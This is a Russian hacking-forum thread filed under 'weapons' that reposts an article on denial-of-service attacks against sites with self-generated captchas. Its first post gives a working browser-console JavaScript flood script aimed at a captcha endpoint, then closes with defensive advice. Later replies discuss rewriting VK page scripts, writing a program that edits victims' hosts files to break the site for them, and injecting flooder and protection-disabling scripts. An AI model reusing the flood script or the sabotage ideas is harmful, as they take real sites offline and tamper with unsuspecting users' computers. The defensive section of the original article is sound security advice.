Добавь наш форум в закладки

OTAKE.TK ЛАБОРАТОРИЯ

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » OTAKE.TK ЛАБОРАТОРИЯ » Архив 2011-2014. » Вооружение | ddos капчи (спиздил с хабра)


Вооружение | ddos капчи (спиздил с хабра)

Сообщений 1 страница 6 из 6

1

DoS-атака на сайты с собственными капчами из песочницы
Информационная безопасность*
Можно найти достаточно много сайтов, которые защищены от разного рода внешней нежелательной автоматической активности (ботов) при помощи капч. Причем во многих случаях генерированием этих самых капч занимается тот же сервер, на котором и расположен сайт. Прикрутить такую капчу на сайт очень просто, да и есть бесплатные капча-генерирующие библиотеки (KCAPTCHA, например).

В чем опасность?

Если есть вероятность, что у вашего сайта появятся недруги (например, вы — владелец wwwpiratepay.ru), то, используя такую капчу, вы рискуете им сильно помочь — становится очень легко вывести сайт из строя используя даже один клиентский компьютер.

Почему?

Генерация капчи — дело довольно ресурсоемкое, особенно если учесть, что этим занимается PHP (или другой не очень приспособленный для обработки изображений язык).

Например в упомянутой выше KCAPTCHA картинка собирается из фрагментов заранее растеризованного шрифта (который хранится в виде картинки), например:

Всего таких файлов шрифтов несколько (в стандартной «поставке» — 22), при каждом запросе просматривается директория и выбирается один из файлов случайным образом.

После склеивания случайно выбранных символов происходит их искажение. В данном случае используется фильтр wave distortion (волновое искажение), написанный на PHP + GD2.

for($x=0;$x<$width;$x++){
  for($y=0;$y<$height;$y++){
    $sx=$x+(sin($x*$rand1+$rand5)+sin($y*$rand3+$rand6))*$rand9-$width/2+$center+1;
    $sy=$y+(sin($x*$rand2+$rand7)+sin($y*$rand4+$rand8))*$rand10;

    if($sx<0 || $sy<0 || $sx>=$width-1 || $sy>=$height-1){
      continue;
    }else{
      $color=imagecolorat($img, $sx, $sy) & 0xFF;
      $color_x=imagecolorat($img, $sx+1, $sy) & 0xFF;
      $color_y=imagecolorat($img, $sx, $sy+1) & 0xFF;
      $color_xy=imagecolorat($img, $sx+1, $sy+1) & 0xFF;
    }

    /* ... */

    imagesetpixel($img2, $x, $y, imagecolorallocate($img2, $newred, $newgreen, $newblue));
  }
}

Т.е. все это происходит довольно медленно. Никакого кэширования по умолчанию не предусмотрено. Тоже самое касается и многих других библиотек (включая «форумные»: phpBB, vBulletin и т.п.)

Если запросов на генерацию капчи будет приходить много, то сервер не будет успевать рисовать капчи и отдавать обыкновенные страницы (особенно учитывая то, что чаще всего сайт работает на какой-либо CMS и кэширование по разным причинам выключено).

Атака

В простейшем случае достаточно в любимом браузере перейти на сайт (чтобы на всякий случай referer был правильный), открыть отладчик javascript и написать в консоль что-то вроде:

cnt = document.getElementById('content'); /* любой элемент с id */
regen = function() {
  var html = '';
  for (var i = 0; i < 1000; i++) {
    html +=
      '<img src="http://www.somesite.com/kcaptcha/index.php?' /*источник капчи */
      + Math.random() + '" />';
  }
  cnt.innerHTML = html;
};
window.setInterval(regen, 10 * 1000);
regen();

/* следующее — просто украшательство, для того, чтобы постоянно видеть низ страницы */
window.setInterval('window.scrollTo(0, document.body.scrollHeight);', 500);

В итоге мы задаром получили многопоточную загрузку бесконечного количества капч (с их генерацией на бедном сервере). Понятно, что не каждый сервер это выдержит, многие (из добровольно проверенных) вываливаются с HTTP Error 503 Service unavailable.

Вывод

Для предотвращения такого рода атаки есть несколько очевидных способов:
используйте reCaptcha
проверяйте количество запросов капч с каждого IP-ардеса, с одинаковым идентификатором сессии и т.п.
держите определенное количество сгенерированных капч в кэше (100, 1000,… — зависит от количества запросов), отдавайте их через что-то быстрое (nginx), периодически перестраивайте кэш
используйте надежные текстовые капчи, желательно учитывающие специфику вашего сайта (например, sin(30°) = ...)
ваш вариант

P.S. не используйте «форумные» капчи вообще, т.к. они очень слабые — заменяйте их на reCaptcha; если используете текстовые капчи, убедитесь, что количество вариантов достаточно большое.

+1

2

Кстати говоря на Вконтакте обнаружил такую багу,работает только для комментирования. При многократном комментировании вылезает капча,но коммент каким то образом уже запостен. То есть остаётся только закрыть капчу и постить дальше. Но это не всегда проявляется,толи сервер перегружен,толи комп тормозит, то бишь есть вероятность что скрипт вызывающий капчу несколько запаздывает и вылазит уже после отправки комментария.
Тут еще у меня есть вопрос?
По сути передача данных Вконтакту происходит через загруженный в кеш браузера файл страницы Вконтакта и скриптов. Есть возможность налету отфильтровать ненужные скрипты+вставить в страницу любые скрипты.
Есть ли смысл фильтровать ненужные  и вредные скрипты и вставлять свои? Какой шанс успешной ОТАКЕ?
Как пример - Заглавный скрипт вконтакта

<script type="text/javascript">
var vk = {
  ad: 1,
  adupd: 120000, // 2 min
  al: parseInt('3') || 4,
  id: 152202294,
  intnat: '' ? true : false,
  host: 'vk.com',
  lang: 0,
  rtl: parseInt('') || 0,
  version: 9176,
  stDomains: 3,
  zero: false,
  contlen: 9241,
  loginscheme: 'https',
  ip_h: 'e0222939260713572d',
  vc_h: '6ffdf37db2af89b7bc5a0ca554262772',
  navPrefix: '/',
  dt: parseInt('') || 0,
  fs: parseInt('12') || 11,
  time: [2012, 5, 25, 22, 49]

Создаю фильтр на текст     ip_h: 'e0222939260713572d',

сам фильтр выглядит так
ip_h: '*',   // -  * означает любое количество символов между кавычками
ip_h: 'OYAEBU!!!', // - Теперь значение ИП ХЕШЬ Всегда будет ОЯЕБУ.

Перезагружаем страницу и видим что скрипт успешно изменился.Причём вконтак на это почему то никак не  реагирует. Тогда как изменение других параметров приводило к краху.
Куски кода из файла common.js
---------------------------

},
  post: function(url, query, options) {
    if (url.substr(0, 1) != '/') url = '/' + url;
    var o = extend({_captcha: false, _box: false}, options || {}), q = extend({al: o.frame ? -1 : 1}, query);
    if (o.progress) {
      if (!o.showProgress) {
        o.showProgress = show.pbind(o.progress);
      }
---------

_post: function(url, q, o) {
    if (!q.captcha_sid && o.showProgress) o.showProgress();
    var cacheKey = false;
    updAds(false);
    if (__adsCanUpd && (o.ads && vk.id || (vkNow() - __adsLoaded > (vk.adupd || 1800000)))) {
      if (!('al_ad' in q)) {
        __adsLoaded = vkNow();
        q.al_ad = 1;
      }
    }
    if (o.cache) {
      var boldq = clone(q);
      delete boldq.al;
      delete boldq.al_ad;
      delete boldq.captcha_sid;
      delete boldq.captcha_key;
      cacheKey = url + '#' + ajx2q(boldq);
    }
    var hideBoxes = function() {
      for (var i = 0, l = arguments.length; i < l; ++i) {
        var box = arguments[i];
        if (box && box.isVisible()) {
          box.setOptions({onHide: false, onDestroy: false});
          box.hide();
-------------

Простое фильтрование всего файла СОММОН напроч отрубало возможность отправки сообщения)))
Забавно так,ходишь по вконтакту а написать нихрена не можешь,окошка просто нет)))
Кстати как способ ОТАКЕ на компы УГ. Создаётся простенькая прога которая пишет в файл ХОСТС
Запись типа

127.0.0.1 http://st1.userapi.com/js/al/common.js?830

Да забавно будет наблюдать как УГ юзер созерцает Покоцанный вконтакт,меняет браузеры,сканит антивирем.В Итоге наверное снесёт систему...)))

Фильтрование параметра (или объекта,я пока не очень силён в JS =((  )   _captcha тоже приводило к краху страницы...

Фильтровать скрипты можно некоторыми Баннерорезками с функцыей создания фильтров.

Если совсем лажу написал не пинайте сильно,я искренне старался))))

0

3

Ломохол
Вот и кодеры по тихоньку появляться стали. У каждого что-то своё. Какие-то идеи появляются. )))

0

4

Есть прога Проксиметрон. Она позволяет фильтровать (в соответствии со списками и шаблонами) и перезаписывать все входящие скрипты,в  а так же Реферер заголовки. Бесплатна.

0

5

Ломохол
зачем фильтровать скрипты у себя?

0

6

Можно не только фильтровать,но и перезаписывать+вставлять свои. В Скриптах может содержаться часть защиты,всякие счётчики сообщений и прочее. Например ВКонтакте есть спец скрипт слежения за пользователем связанный с сайтой http://www.scorecardresearch.com/Home.aspx Запретив этот урл в Фаерволле с режимом уведомления было обнаружена активация скрипта при любом действии пользователя,включая отправку сообщений. С помощью того же проксиметрона можно вставлять скрипты-флудеры,скрипты деактивирующие защиту.В принципе можно практически всё))

0


Вы здесь » OTAKE.TK ЛАБОРАТОРИЯ » Архив 2011-2014. » Вооружение | ddos капчи (спиздил с хабра)